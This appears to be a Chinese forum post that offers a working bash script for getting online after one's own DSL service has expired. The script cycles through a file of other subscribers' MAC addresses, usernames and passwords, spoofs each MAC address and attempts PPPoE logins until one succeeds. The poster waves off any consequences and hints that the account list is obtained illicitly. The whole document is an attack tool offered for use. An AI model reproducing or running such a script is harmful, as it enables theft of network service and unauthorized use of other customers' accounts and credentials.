贴一个脚本,纯出于练习目的,用于网络服务到期,无法上网,暂时的解决办法。适用某通网络,不一定适用于所有网络。特别声明,使用此脚本而导致的一切后果与本人无关。
#!/bin/bash #Fuck TieTong! let startIndex=1 #从指定位置的帐号开始试探 let tryCount=0 #尝试帐号的数量,0指不限定 accountFile='/path/to/your/dsl-account.txt' if [ $UID -ne 0 ]; then echo Must be root user to execute this script. exit 0 fi if [ $1 ]; then let startIndex=$1 fi if [ $2 ]; then let tryCount=$2 fi #using ether device : eth0 ETH="eth0" #ETH="eth1" #echo $startIndex +$tryCount let lineCount=0 let count=0 for v in `cat $accountFile`; do #echo using account $v let aidx=`expr index "$v" =` let lineCount=$lineCount+1 if [ $lineCount -lt $startIndex ]; then continue fi if [ $aidx -gt 0 ]; then let pidx=`expr index "$v" /` let nidx=`expr index "$v" "#"` let flen=`expr length "$v"` if [ $nidx -eq 1 ];then continue fi let count=$count+1 if [ $tryCount -ne 0 -a $count -gt $tryCount ]; then break fi let mlen=$aidx-1 mac=`expr substr "$v" 1 $mlen` #取帐号与密码 #echo $pidx ====== $nidx if [ $pidx -gt $nidx -a $nidx -ne 0 ]; then let pidx=$nidx fi if (( $pidx > 0 && ( $pidx < $nidx || $nidx == 0 ))); then let alen=$pidx-$aidx-1 let aidx=$aidx+1 a=`expr substr "$v" $aidx $alen` if [ $nidx -gt 0 ]; then let plen=$nidx-$pidx-1 else let plen=$flen-$pidx fi let pidx=$pidx+1 p=`expr substr "$v" $pidx $plen` else if [ $nidx -gt 0 ]; then let alen=$nidx-$aidx-1 let aidx=$aidx+1 else let alen=$flen-$aidx let aidx=$aidx+1 fi a=`expr substr "$v" $aidx $alen` p=$a fi echo "=======================================================" echo try $lineCount $a/$p $mac echo "===============================================">>/var/log/ppp-dsl.log echo `date +'%F %H:%M.%S'` using $mac and $a,$p>>/var/log/ppp-dsl.log ifconfig $ETH down;ifconfig $ETH hw ether $mac;ifconfig $ETH up sleep 2 #dhcpcd eth0 pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s #pppd demand idle 300 noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s for((dc=0;dc<20;dc++)) do sleep 2 #检测网络界面中是否存在名为ppp的接口 let s=`ifconfig | grep ppp | wc -l` if [ $s -gt 0 ]; then echo ":):) found it. mac : $mac, $a" exit 0 fi let pc=`ps -A|grep pppd|wc -l` if [ $pc -gt 0 ]; then #echo $dc continue fi echo pppd process is terminated. echo mac $mac is using, break process. break done fi done echo ":(:(:(:(:(:(:( not found." exit 1
脚本中使用的dsl-account.txt文件格式:
#line format <MAC Addr>=<user>[/<pwd>[#<comment>]] 0F:EB:BF:10:03:FB=xxxxxxxx@YY/123456#demo for line.
不要问我,怎么获得dsl-account.txt中内容。如果这个不知道的话,还是别试了。
还有,如果你是Windows用户,也别试了。嘿嘿。